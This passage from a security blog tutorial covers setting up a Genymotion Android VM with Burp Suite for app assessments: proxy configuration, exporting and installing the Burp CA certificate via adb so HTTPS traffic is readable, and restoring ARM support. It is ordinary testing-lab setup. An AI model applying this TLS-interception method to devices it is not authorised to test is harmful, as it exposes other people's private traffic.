were configured properly Burp should now be seeing web traffic passed to it by the Android VM. If traffic is still not being passed the IP address of the host should be verified as the DHCP lease may have run out and the IP address may have changed. Installing SSL Certificate with ADB: Until this point all web traffic should be passing from the Android VM to Burp. However, if any applications are communicating over HTTPS, you will receive a 'Webpage not Available' error. This happens because the burp Certificate Authority (CA) Certificate is not yet trusted by the Android VM. There are two methods of retrieving the Burp CA Certificate in order to install it on the Android VM. If you have the free version of Burp: Open up Burp and enable the loopback (127.0.0.1) listener on port 8080 if it is not already enabled. Open up Firefox on your host machine. Go to Firefox's Preferences and under the 'Advanced' tab in the 'Connection' section click on 'Settings'. Click on the 'Manual proxy configuration' radio button. Specify the loopback address (127.0.0.1) and specify port 8080 as the listening port. Click 'OK' and exit out of the Preferences. Go to any HTTPS based website. For this example I chose ( https://google.com). You will receive a Connection Untrusted message. Click on the 'Add Exception' button on the bottom. Click on the 'View' button to view the identity of the Certificate. Click on the 'Details' tab and notice that the Certificate references PortSwigger CA which is the CA for Burp. Click 'Export' to export the Certificate. Change the format to 'X.509 Certificate (DER)' and name the Certificate <name>.cer. Save the Certificate to an easily accessible location. If you have the Professional Version of Burp, c lick on the 'Proxy' tab and the 'Options' secondary tab. Click on the 'CA certificate' button. Export as 'Certificate in DER format'. Click 'Next'. Name the Certificate <name>.cer. Save it in an easily accessible location. Next we will get the certificate onto the Android VM and install it. There are two methods of getting the Certificate onto the Android VM. The first one is by using ADB. We will use the 'adb push' command to push the Certificate onto the '/mnt/sdcard' directory of the Android VM. The syntax is: adb push <local/path/to/certifiate> </mnt/sdcard/>. We can also verify that the Certificate has been transferred over successfully by entering into a shell of the Android VM by using the 'adb shell' command and listing the contents of the /mnt/sdcard/ directory. The second method of getting the Certificate onto the Android VM is to use the drag and drop feature. Drag and drop the Certificate file into the Android VM and the file should copy over and be located within the /mnt/sdcard/ directory. Now that the Certificate is on the Android VM we can install it. In your Android VM go to 'Settings'. Click on 'Security' Click on 'Install from SD card' A box will pop up with the Certificate information. Verify it and then click 'OK'. Android requires you to set a password in order to use credential storage. Click 'OK'. This password can be pattern based, a PIN, or a password. Select one and set it. The PortSwigger CA Certificate should now be installed on your Android VM. To verify that the CA Certificate successfully was installed click on 'Trusted credentials'. Click on the 'User' tab. The PortSwigger CA Certificate should now be there signifying it was successfully installed on your Android VM. You should now be able to successfully view HTTPS traffic in plain text. Troubleshooting ARM error and adding Google Play support within Genymotion: The support for ARM applications and Google Play was removed within Genymotion starting with their 2.0 release. However, since a decent number of applications available require ARM translation this can be a major pain. When attempting to install an ARM based application you should see the error below. The guys over at XDA-Developers have found a way to recover the functionality of both ARM based applications as well as Google Play. The entire thread and download files can be found here. Simply download the ARM Translation Install zip file and the Google Play application zip file (depending on which version of Android you are running within your VM). Drag and drop each file into your Android VM and that should do it. We hope this information is useful and eases some of the pain of Android application assessments. We'd love to hear your thoughts. Posted by Abdullah Munawar Sursa: nVisium: Android Assessments with GenyMotion + Burp